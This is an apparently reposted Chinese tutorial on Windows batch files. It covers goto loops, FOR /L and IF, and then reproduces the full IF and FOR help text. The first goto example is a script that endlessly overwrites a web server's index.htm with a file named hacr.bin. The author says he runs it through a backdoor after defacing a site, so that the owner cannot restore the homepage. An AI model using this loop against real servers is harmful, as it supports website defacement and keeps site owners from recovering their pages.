关于批处理

来源:互联网 发布:网页三剑客软件 编辑:程序博客网 时间:2024/06/18 04:23

从某种意义上说,批处理就是一种编程,其实批处理是一种宏,但是用途非常广泛,可以实现一些用软件才可以实现的简单功能。
批处理(Batch)是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是COMMAND.COM或者CMD.EXE)解释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何32位的Windows程序都可以放在批处理文件中运行。

跳转(可用作循环)的话可以是这样:
@echo off
:a
copy c:/winnt/system32/hacr.bin c:/inetpub/scripts/index.htm
goto a
echo off是为了隐藏下面语句的执行;
@符号是隐藏echo off这个语句;
:a是定义循环模块a(模块名字可以定义,后面可以有n条语句);
goto a是跳到a循环模块。
上面的.bat是个死循环,我改了主页后常常在后门中执行他,后门一天没关,hacr.bin一天没删,主页默认index.htm一天没改,主页也就一天该不回!
从多重跳转中跳出来可以这样写:
@echo off
goto b
:a
copy c:/winnt/system32/hacr.bin c:/inetpub/scripts/index.htm
goto end
:b copy
c:/winnt/system32/hacr.bin c:/inetpub/scripts/index.htm goto a
:end
循环的话,可以这样:
FOR /L %%i IN (1,1,5) do start c:/winnt/system32/notepad.exe
执行后打开notepad.exe 5次。哎,我用了2年dos,但bat的判断我还是记不太清了,好像是:
if exist filename command 这句意思是如果存在filename(必须是可执行文件)就执行后面的command。
应该还有一个如果不存在filename(必须是可执行文件)就执行后面的command的语句,可惜我实在忘了(以上实例均在win2k Pro下通过)。呵呵...
附录:if语句和for语句的help
1。IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT]
EXIST filename command NOT 指定只有条件为 false 的情况下, Windows 2000 才 应该执行该命令。
ERRORLEVEL number 如果最后运行的程序返回一个等于或大于指定数字的退出编码,指定条件为true。
string1==string2 如果指定的文本字符串匹配,指定一个 true 条件。
EXIST filename 如果指定的文件名存在,指定一个 true 条件。
command 如果条件符合,指定要执行的命令。如果指定的条件为 FALSE,ELSE 命令可随在命令之后,ELSE 命令将在 ELSE
关键字之后执行该命令。
ELSE 子句必须在 IF 之后出现在同一行上。例如:
IF EXIST filename. ( del filename. ) ELSE ( echo filename. missing. )
因为 del 命令需要用一个新行终止,以下子句不会有效: IF EXIST filename. del filename. ELSE echo
filename. missing 由于ELSE 命令必须与 IF 命令的尾端在同一行上,以下子句也 不会有效: IF EXIST filename. del
filename. ELSE echo filename. missing 如果都放在同一行上,以下子句有效: IF
EXIST filename. (del filename.) ELSE echo filename. missing 如果命令扩展名被启用,IF 会如下改变:
IF string1 compare-op string2 command IF CMDEXTVERSION number command IF
DEFINED variable command 其中,比较运算符可以是: EQU - 等于 NEQ - 不等于
LSS - 小于 LEQ - 小于或等于 GTR - 大于 GEQ - 大于或等于 及 /I 命令选项;如果该命令选项被指定,则说明要进行的字符串比较不分
大小写。/I 命令选项可以用于 IF 的 string1==string2 的形式上。
这些 比较都是通用的;
原因是,如果 string1 和 string2 都是由数字组成的,字符串会被转换成数字,进行数字比较。 CMDEXTVERSION 条件的作用跟
ERRORLEVEL 的一样,除了它是在跟与命令扩展名有关联的内部版本号比较。第一个版本是
1。每次对命令扩展名有相当大的增强时,版本号会增加一个。
 命令扩展名被停用时,CMDEXTVERSION 条件不是真的。
 如果已定义环境变量,DEFINED 条件的作用跟 EXISTS 的一样,除了它取得一个环境变量,返回的结果是 true。
如果没有名为 ERRORLEVEL 的环境变量,%ERRORLEVEL% 会扩充为 ERROLEVEL 当前数值的字串符表达式;否则,您会得到
其数值。运行程序后,以下语句说明 ERRORLEVEL 的用法:
goto answer%ERRORLEVEL%
:answer0
echo Program had return code 0
:answer1
echo Program had return code 1
您也可以使用以上的数字比较:
IF %ERRORLEVEL% LEQ 1 goto okay
 如果没有名为 CMDCMDLINE 的环境变量,%CMDCMDLINE% 将在 CMD.EXE 进行任何处理前扩充为传递给 CMD.EXE
的原始命令行;否则,您会得到其数值。
如果没有名为 CMDEXTVERSION 的环境变量,
%CMDEXTVERSION% 会扩充为 CMDEXTVERSION 当前数值的字串符表达式;否则,您会得到其数值。
2。FOR %variable IN (set) DO command [command-parameters] %variable 指定可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 对特定命令所指定的参数。
在批处理文件中使用 FOR 命令时, 指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:
 FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [drive:]path] %variable IN (set) DO command [command-parameters] 检查以
[drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN (<|>command<|>) DO command [command-parameters]
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN (<|>command<|>) DO command [command-parameters]
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
 delims=xxx - 指分隔符集。
这个替换了空格和跳格键的 默认分隔符集。
 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。
这会导致额外变量名称的分配。m-n 格式为一个范围。
通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,
 那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
 usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset 中使用双引号扩起文件名称。
 某些范例可能有助:
 FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k 会分析
myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for
程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26
个符号,只要不试图说明一个高于字母 <|>z<|> 或 <|>Z<|> 的变量。请记住,FOR 变量名分大小写,是通用的;而且, 同时不能有 52
个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子
CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
 FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量名
未被定义,或者没有找到文件,此组合键会扩充到
空字符串 可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将
%I 扩充 到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。
选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

原创粉丝点击